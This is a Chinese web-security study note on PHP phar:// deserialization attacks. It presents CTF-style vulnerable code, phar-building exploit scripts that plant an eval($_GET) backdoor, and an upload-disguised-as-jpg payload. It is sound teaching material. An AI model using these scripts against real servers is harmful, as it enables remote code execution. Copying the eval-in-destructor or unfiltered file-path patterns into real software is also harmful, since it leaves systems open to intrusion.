manifast压缩文件的属性等信息,以序列化存储,存在一段序列化的字符串

调用phar伪协议,可读取.phar文件

phar协议解析文件时,会自动触发对manifast字段的序列化字符串进行反序列化

phar需要 PHP>=5.2 在php.ini中将phar.readonly设为off

例题一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>

exp模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Testobj
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.phar","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

phar使用条件

  • phar文件能上传到服务器端
  • 要有可用的反序列化魔术方法作为跳板
  • 要有文件操作函数,如file_exists(),fopen(),file_get_contents()
  • 文件操作函数参数可控,且:/ phar等特殊字符没有过滤

例题二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>

目标:echo $flag

反序列化TestObject()触发__destruck执行echo $flag

$_POST提交file赋值$filename

if语句isset判断$filename内容生成md5哈希值

解题步骤:

生成一个phar文件,在mate-data里放置一个包含TestObject()的序列化字符串

上传文件

md5_file执行phar伪协议,触发反序列化

反序列化TestObject()触发__destruck执行echo $flag

phar文件生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class TestObject
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.phar","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成的phar文件修改为jpg格式文件上传(phar文件的后缀可以任意修改,不影响解析利用)

Payload:

1
file=phar://upload/test.jpg

暴力破解漏洞


Web学习笔记
http://example.com/2023/06/02/web1/
作者
ZERO
发布于
2023年6月2日
许可协议